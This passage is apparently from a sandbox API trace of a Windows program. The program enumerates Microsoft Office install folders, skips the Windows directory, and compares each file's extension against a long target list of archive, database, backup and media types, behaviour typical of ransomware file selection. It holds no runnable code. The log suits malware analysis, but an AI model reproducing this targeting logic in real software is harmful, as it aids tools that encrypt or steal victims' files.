ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1074, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="BRIGHT~2.CSS")) returned 1 [0264.672] RtlpDeCommitFreeBlock () [0264.672] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0264.673] RtlpDeCommitFreeBlock () [0264.673] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="GRAYCH~1.CSS")) returned 1 [0264.674] RtlpDeCommitFreeBlock () [0264.674] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1091, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0264.675] RtlpDeCommitFreeBlock () [0264.675] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0264.675] RtlpDeCommitFreeBlock () [0264.675] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0264.676] RtlpDeCommitFreeBlock () [0264.676] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x11ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0264.677] RtlpDeCommitFreeBlock () [0264.677] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="SPRING~1.CSS")) returned 1 [0264.678] RtlpDeCommitFreeBlock () [0264.678] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0264.678] RtlpDeCommitFreeBlock () [0264.678] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0264.679] RtlpDeCommitFreeBlock () [0264.679] FindNextFileW (in: hFindFile=0x4604238, lpFindFileData=0x372eb9c | out: lpFindFileData=0x372eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0264.679] RtlpDeCommitFreeBlock () [0264.679] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="GROOVE~2")) returned 1 [0264.682] RtlpDeCommitFreeBlock () [0264.682] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveProjectToolset", cAlternateFileName="GRA998~1")) returned 1 [0264.686] RtlpDeCommitFreeBlock () [0264.686] FindNextFileW (in: hFindFile=0x46042f8, lpFindFileData=0x372e6a4 | out: lpFindFileData=0x372e6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy", cAlternateFileName="")) returned 1 [0264.688] RtlpDeCommitFreeBlock () [0264.688] FindNextFileW (in: hFindFile=0x46042f8, lpFindFileData=0x372e6a4 | out: lpFindFileData=0x372e6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy", cAlternateFileName="")) returned 0 [0264.688] FindClose (in: hFindFile=0x46042f8 | out: hFindFile=0x46042f8) returned 1 [0264.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46a41d8 | out: hHeap=0x540000) returned 1 [0264.688] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="PROJEC~1")) returned 0 [0264.688] FindClose (in: hFindFile=0x46042b8 | out: hFindFile=0x46042b8) returned 1 [0264.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46941d0 | out: hHeap=0x540000) returned 1 [0264.688] FindNextFileW (in: hFindFile=0x4604238, lpFindFileData=0x372eb9c | out: lpFindFileData=0x372eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectToolsetIconImages.jpg", cAlternateFileName="PROJEC~3.JPG")) returned 1 [0264.689] RtlpDeCommitFreeBlock () [0264.689] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 1 [0264.689] RtlpDeCommitFreeBlock () [0264.689] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 0 [0264.689] FindClose (in: hFindFile=0x46041f8 | out: hFindFile=0x46041f8) returned 1 [0264.689] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46741c0 | out: hHeap=0x540000) returned 1 [0264.689] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0264.689] FindClose (in: hFindFile=0x46041b8 | out: hFindFile=0x46041b8) returned 1 [0264.690] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4598148 | out: hHeap=0x540000) returned 1 [0264.690] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0264.694] RtlpDeCommitFreeBlock () [0264.694] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 1 [0264.699] RtlpDeCommitFreeBlock () [0264.699] FindNextFileW (in: hFindFile=0x46041b8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a42b900, ftCreationTime.dwHighDateTime=0x1c9d747, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a42b900, ftLastWriteTime.dwHighDateTime=0x1c9d747, nFileSizeHigh=0x0, nFileSizeLow=0x17e2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterApplicationDescriptors.xml", cAlternateFileName="STARTE~1.XML")) returned 1 [0264.699] RtlpDeCommitFreeBlock () [0264.700] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 0 [0264.700] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0264.700] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4588140 | out: hHeap=0x540000) returned 1 [0264.700] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0264.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned 53 [0264.701] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f108 [0264.953] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.958] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServices", cAlternateFileName="INFOPA~2")) returned 1 [0264.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned 76 [0264.964] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned 1 [0264.967] lstrlenW (lpString="InfoPathOMFormServices") returned 22 [0264.970] lstrcmpiW (lpString1="C:\\Windows", lpString2="InfoPathOMFormServices") returned -1 [0264.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x45cc180 [0264.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned 76 [0264.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f048 [0264.974] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.974] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServicesV12", cAlternateFileName="INFOPA~1")) returned 1 [0264.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned 102 [0264.975] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned 1 [0264.975] lstrlenW (lpString="InfoPathOMFormServicesV12") returned 25 [0264.975] lstrcmpiW (lpString1="C:\\Windows", lpString2="InfoPathOMFormServicesV12") returned -1 [0264.975] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x4598148 [0264.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned 102 [0264.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63eec8 [0264.975] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.975] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xa770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0264.975] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29 [0264.975] lstrlenW (lpString=".1cd") returned 4 [0264.975] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0264.975] lstrlenW (lpString=".3ds") returned 4 [0264.975] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0264.975] lstrlenW (lpString=".3fr") returned 4 [0264.975] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0264.975] lstrlenW (lpString=".3g2") returned 4 [0264.975] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0264.975] lstrlenW (lpString=".3gp") returned 4 [0264.975] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0264.975] lstrlenW (lpString=".7z") returned 3 [0264.975] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0264.975] lstrlenW (lpString=".accda") returned 6 [0264.975] lstrcmpiW (lpString1=".accda", lpString2="th.dll") returned -1 [0264.975] lstrlenW (lpString=".accdb") returned 6 [0264.975] lstrcmpiW (lpString1=".accdb", lpString2="th.dll") returned -1 [0264.975] lstrlenW (lpString=".accdc") returned 6 [0264.975] lstrcmpiW (lpString1=".accdc", lpString2="th.dll") returned -1 [0264.975] lstrlenW (lpString=".accde") returned 6 [0264.975] lstrcmpiW (lpString1=".accde", lpString2="th.dll") returned -1 [0264.975] lstrlenW (lpString=".accdt") returned 6 [0264.976] lstrcmpiW (lpString1=".accdt", lpString2="th.dll") returned -1 [0264.976] lstrlenW (lpString=".accdw") returned 6 [0264.976] lstrcmpiW (lpString1=".accdw", lpString2="th.dll") returned -1 [0264.976] lstrlenW (lpString=".adb") returned 4 [0264.976] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0264.976] lstrlenW (lpString=".adp") returned 4 [0264.976] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0264.976] lstrlenW (lpString=".ai") returned 3 [0264.976] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0264.976] lstrlenW (lpString=".ai3") returned 4 [0264.976] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0264.976] lstrlenW (lpString=".ai4") returned 4 [0264.976] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0264.976] lstrlenW (lpString=".ai5") returned 4 [0264.976] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0264.976] lstrlenW (lpString=".ai6") returned 4 [0264.976] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0264.976] lstrlenW (lpString=".ai7") returned 4 [0264.976] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0264.976] lstrlenW (lpString=".ai8") returned 4 [0264.976] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0264.976] lstrlenW (lpString=".anim") returned 5 [0264.976] lstrcmpiW (lpString1=".anim", lpString2="h.dll") returned -1 [0264.976] lstrlenW (lpString=".arw") returned 4 [0264.976] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0264.976] lstrlenW (lpString=".as") returned 3 [0264.976] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0264.976] lstrlenW (lpString=".asa") returned 4 [0264.976] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0264.976] lstrlenW (lpString=".asc") returned 4 [0264.976] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0264.976] lstrlenW (lpString=".ascx") returned 5 [0264.976] lstrcmpiW (lpString1=".ascx", lpString2="h.dll") returned -1 [0264.976] lstrlenW (lpString=".asm") returned 4 [0264.976] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0264.976] lstrlenW (lpString=".asmx") returned 5 [0264.977] lstrcmpiW (lpString1=".asmx", lpString2="h.dll") returned -1 [0264.977] lstrlenW (lpString=".asp") returned 4 [0264.977] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0264.977] lstrlenW (lpString=".aspx") returned 5 [0264.977] lstrcmpiW (lpString1=".aspx", lpString2="h.dll") returned -1 [0264.977] lstrlenW (lpString=".asr") returned 4 [0264.977] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0264.977] lstrlenW (lpString=".asx") returned 4 [0264.977] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0264.977] lstrlenW (lpString=".avi") returned 4 [0264.977] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0264.977] lstrlenW (lpString=".avs") returned 4 [0264.977] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0264.977] lstrlenW (lpString=".backup") returned 7 [0264.977] lstrcmpiW (lpString1=".backup", lpString2="ath.dll") returned -1 [0264.977] lstrlenW (lpString=".bak") returned 4 [0264.977] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0264.977] lstrlenW (lpString=".bay") returned 4 [0264.977] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0264.977] lstrlenW 